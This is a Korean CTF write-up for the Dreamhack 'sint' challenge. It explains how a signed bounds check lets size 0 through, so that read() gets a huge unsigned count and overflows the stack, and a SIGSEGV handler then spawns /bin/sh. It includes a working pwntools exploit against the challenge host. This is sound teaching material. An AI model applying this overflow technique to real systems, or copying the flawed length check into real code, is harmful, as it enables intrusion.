sint
A signed comparison lets a negative length through, which then becomes a huge unsigned size in the copy.
checksec 으로 적용된 보호기법과 소스 코드를 봅시다.
$ checksec ./sint
[*] '/Users/chaeeun/Desktop/fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5/sint'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main() {
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0) {
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
실습환경에 ASLR 이랑 NX 가 적용된 것을 확인할 수 있다. + partial RELRO. get_shell 이 목표인 거 같고, 문제의 핵심은 size - 1 에서 발생하는 integer underflow / signed-to-unsigned 인 거 같습니다.
취약한 부분은 여기입니다.
read(0, buf, size - 1);
앞에서 검사는 이렇게 되어 있습니다.
if (size > 256 || size < 0)
그래서 size 가 음수이거나 256보다 크면 막힙니다. 그런데 size = 0 은 통과합니다. size = 0 을 입력하면 size - 1 은 0 - 1 = -1 이 됩니다.
그런데 read() 함수의 세 번째 인자는 size_t 타입입니다.
ssize_t read(int fd, void *buf, size_t count);
size_t 는 unsigned 정수형입니다. 따라서 -1이 size_t 로 변환되면서 엄청 큰 값이 됩니다. 32bit 바이너리이므로:
-1 → 0xffffffff
size 는 “얼마나 많이 읽어도 되는지”를 정하는 값일 뿐입니다. 실제로 메모리를 망가뜨리는 것은 Data 입력 내용입니다. 프로그램은 Size 입력 내용 때문에 Data 를 최대 0xffffffff 바이트까지 읽어도 된다고 착각합니다. 그럼 결과적으로 read() 가 256바이트보다 훨씬 많은 데이터를 buf 에 쓰려고 하면서 stack buffer overflow 가 발생합니다.
그럼 이걸로 어떻게 /bin/sh 를 실행할 수 있나.. 이 코드가 매우 특이합니다.
signal(SIGSEGV, get_shell);
즉, 프로그램에서 Segmentation Fault 가 발생하면 원래는 죽어야 하는데, 대신 get_shell() 함수가 실행됩니다.
void get_shell() {
system("/bin/sh");
}
여기 exploit 코드입니다.
from pwn import *
p = remote("host3.dreamhack.games", 22469)
p.sendlineafter(b"Size: ", b"0")
p.sendafter(b"Data: ", b"A" * 400) # 256 보다 훨씬 큼
p.interactive()